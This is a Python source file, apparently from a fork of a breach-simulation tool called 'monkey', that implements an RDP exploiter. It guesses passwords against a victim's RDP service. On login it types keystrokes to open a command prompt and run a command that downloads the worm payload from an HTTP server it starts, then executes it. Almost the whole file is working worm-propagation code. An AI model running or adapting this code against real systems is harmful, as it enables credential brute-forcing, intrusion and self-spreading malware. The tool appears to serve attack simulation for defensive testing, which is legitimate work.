forked from p15670423/monkey
272 lines
9.7 KiB
Python
272 lines
9.7 KiB
Python
import time
|
|
import socket
|
|
import threading
|
|
import cffi
|
|
import os.path
|
|
import twisted.python.log
|
|
import rdpy.core.log as rdpy_log
|
|
from rdpy.protocol.rdp import rdp
|
|
from twisted.internet import reactor
|
|
from rdpy.core.error import RDPSecurityNegoFail
|
|
from logging import getLogger
|
|
from exploit import HostExploiter
|
|
from exploit.tools import HTTPTools
|
|
from model import RDP_CMDLINE_HTTP_BITS
|
|
from model.host import VictimHost
|
|
__author__ = 'hoffer'
|
|
|
|
KEYS_INTERVAL = 0.1
|
|
MAX_WAIT_FOR_UPDATE = 120
|
|
KEYS_SENDER_SLEEP = 0.01
|
|
DOWNLOAD_TIMEOUT = 60
|
|
LOG = getLogger(__name__)
|
|
|
|
def twisted_log_func(*message, **kw):
|
|
if kw.has_key('isError') and kw['isError']:
|
|
error_msg = 'Unknown'
|
|
if kw.has_key('failure'):
|
|
error_msg = kw['failure'].getErrorMessage()
|
|
LOG.error("Error from twisted library: %s" % (error_msg,))
|
|
else:
|
|
LOG.debug("Message from twisted library: %s" % (str(message),))
|
|
|
|
def rdpy_log_func(message):
|
|
LOG.debug("Message from rdpy library: %s" % (message,))
|
|
|
|
twisted.python.log.msg = twisted_log_func
|
|
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
|
|
rdpy_log.log = rdpy_log_func
|
|
|
|
# thread for twisted reactor, create once.
|
|
global g_reactor
|
|
g_reactor = threading.Thread(target=reactor.run, args=(False,))
|
|
|
|
class ScanCodeEvent(object):
|
|
def __init__(self, code, is_pressed=False, is_special=False):
|
|
self.code = code
|
|
self.is_pressed = is_pressed
|
|
self.is_special = is_special
|
|
|
|
class CharEvent(object):
|
|
def __init__(self, char, is_pressed=False):
|
|
self.char = char
|
|
self.is_pressed = is_pressed
|
|
|
|
class SleepEvent(object):
|
|
def __init__(self, interval):
|
|
self.interval= interval
|
|
|
|
class WaitUpdateEvent(object):
|
|
def __init__(self, updates=1):
|
|
self.updates = updates
|
|
pass
|
|
|
|
def str_to_keys(orig_str):
|
|
result = []
|
|
for c in orig_str:
|
|
result.append(CharEvent(c,True))
|
|
result.append(CharEvent(c,False))
|
|
result.append(WaitUpdateEvent())
|
|
return result
|
|
|
|
class KeyPressRDPClient(rdp.RDPClientObserver):
|
|
def __init__(self, controller, keys, width, height, addr):
|
|
super(KeyPressRDPClient, self).__init__(controller)
|
|
self._keys = keys
|
|
self._addr = addr
|
|
self._update_lock = threading.Lock()
|
|
self._wait_update = False
|
|
self._keys_thread = threading.Thread(target=self._keysSender)
|
|
self._keys_thread.daemon = True
|
|
self._width = width
|
|
self._height = height
|
|
self._last_update = 0
|
|
self.closed = False
|
|
self.success = False
|
|
|
|
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
|
|
update_time = time.time()
|
|
self._update_lock.acquire()
|
|
self._last_update = update_time
|
|
self._wait_for_update = False
|
|
self._update_lock.release()
|
|
|
|
def _keysSender(self):
|
|
while True:
|
|
|
|
if self.closed:
|
|
return
|
|
|
|
if len(self._keys) == 0:
|
|
reactor.callFromThread(self._controller.close)
|
|
LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
|
|
return
|
|
|
|
key = self._keys[0]
|
|
|
|
self._update_lock.acquire()
|
|
time_diff = time.time() - self._last_update
|
|
if type(key) is WaitUpdateEvent:
|
|
self._wait_for_update = True
|
|
self._update_lock.release()
|
|
key.updates -= 1
|
|
if key.updates == 0:
|
|
self._keys = self._keys[1:]
|
|
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
|
|
self._wait_for_update = False
|
|
self._update_lock.release()
|
|
if type(key) is ScanCodeEvent:
|
|
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special)
|
|
elif type(key) is CharEvent:
|
|
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
|
|
elif type(key) is SleepEvent:
|
|
time.sleep(key.interval)
|
|
|
|
self._keys = self._keys[1:]
|
|
else:
|
|
self._update_lock.release()
|
|
time.sleep(KEYS_SENDER_SLEEP)
|
|
|
|
|
|
def onReady(self):
|
|
pass
|
|
|
|
def onClose(self):
|
|
self.success = len(self._keys) == 0
|
|
self.closed = True
|
|
|
|
def onSessionReady(self):
|
|
self._last_update = time.time()
|
|
self._keys_thread.start()
|
|
|
|
|
|
class CMDClientFactory(rdp.ClientFactory):
|
|
def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
|
|
self._username = username
|
|
self._password = password
|
|
self._domain = domain
|
|
self._keyboard_layout = "en"
|
|
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
|
|
self._keys = [ScanCodeEvent(91,True,True),
|
|
ScanCodeEvent(19,True),
|
|
ScanCodeEvent(19,False),
|
|
ScanCodeEvent(91,False,True), WaitUpdateEvent()] + str_to_keys("cmd /v") + [WaitUpdateEvent(), ScanCodeEvent(28,True),
|
|
ScanCodeEvent(28,False), WaitUpdateEvent()] + str_to_keys(command+"&exit") + [WaitUpdateEvent(), ScanCodeEvent(28,True),
|
|
ScanCodeEvent(28,False), WaitUpdateEvent()]
|
|
self._optimized = optimized
|
|
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
|
|
self._nego = True
|
|
self._client = None
|
|
self._width = width
|
|
self._height = height
|
|
self.done_event = threading.Event()
|
|
self.success = False
|
|
|
|
def buildObserver(self, controller, addr):
|
|
"""
|
|
@summary: Build RFB observer
|
|
We use a RDPClient as RDP observer
|
|
@param controller: build factory and needed by observer
|
|
@param addr: destination address
|
|
@return: RDPClientQt
|
|
"""
|
|
|
|
#create client observer
|
|
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
|
|
|
|
controller.setUsername(self._username)
|
|
controller.setPassword(self._password)
|
|
controller.setDomain(self._domain)
|
|
controller.setKeyboardLayout(self._keyboard_layout)
|
|
controller.setHostname(addr.host)
|
|
if self._optimized:
|
|
controller.setPerformanceSession()
|
|
controller.setSecurityLevel(self._security)
|
|
|
|
return self._client
|
|
|
|
def clientConnectionLost(self, connector, reason):
|
|
#try reconnect with basic RDP security
|
|
if reason.type == RDPSecurityNegoFail and self._nego:
|
|
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % (connector.host, connector.port))
|
|
#stop nego
|
|
self._nego = False
|
|
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
|
|
connector.connect()
|
|
return
|
|
|
|
LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
|
|
self.success = self._client.success
|
|
self.done_event.set()
|
|
|
|
def clientConnectionFailed(self, connector, reason):
|
|
LOG.debug("RDP connection to %s:%s failed, with error: %s" % (connector.host, connector.port, reason.getErrorMessage()))
|
|
self.success = False
|
|
self.done_event.set()
|
|
|
|
class RdpExploiter(HostExploiter):
|
|
def __init__(self):
|
|
self._config = __import__('config').WormConfiguration
|
|
|
|
def exploit_host(self, host, src_path, port=3389):
|
|
global g_reactor
|
|
assert isinstance(host, VictimHost)
|
|
|
|
if not g_reactor.is_alive():
|
|
g_reactor.daemon = True
|
|
g_reactor.start()
|
|
|
|
# create server for http download.
|
|
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
|
|
|
|
command = RDP_CMDLINE_HTTP_BITS % {'monkey_name': os.path.basename(src_path), 'http_path' : http_path}
|
|
|
|
passwords = list(self._config.psexec_passwords[:])
|
|
known_password = host.get_credentials(self._config.psexec_user)
|
|
if known_password is not None:
|
|
if known_password in passwords:
|
|
passwords.remove(known_password)
|
|
passwords.insert(0, known_password)
|
|
|
|
exploited = False
|
|
for password in passwords:
|
|
try:
|
|
# run command using rdp.
|
|
|
|
LOG.info("Trying rdp logging into victim %r with user"
|
|
" %s and password '%s'", host,
|
|
self._config.psexec_user, password)
|
|
|
|
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
|
|
|
|
reactor.connectTCP(host.ip_addr, port, client_factory)
|
|
|
|
client_factory.done_event.wait()
|
|
|
|
if client_factory.success:
|
|
exploited = True
|
|
break
|
|
|
|
except Exception, exc:
|
|
LOG.debug("Error logging into victim %r with user"
|
|
" %s and password '%s': (%s)", host,
|
|
self._config.psexec_user, password, exc)
|
|
continue
|
|
|
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
|
http_thread.stop()
|
|
|
|
if not exploited:
|
|
LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
|
|
return False
|
|
elif http_thread.downloads == 0:
|
|
LOG.info("Trying rdp logging into victim %r with user"
|
|
" %s and password '%s'", host,
|
|
self._config.psexec_user, password)
|
|
LOG.debug("Exploiter RdpGrinder failed, http download failed.")
|
|
return False
|
|
|
|
LOG.info("Executed monkey '%s' on remote victim %r",
|
|
os.path.basename(src_path), host)
|
|
|
|
return True |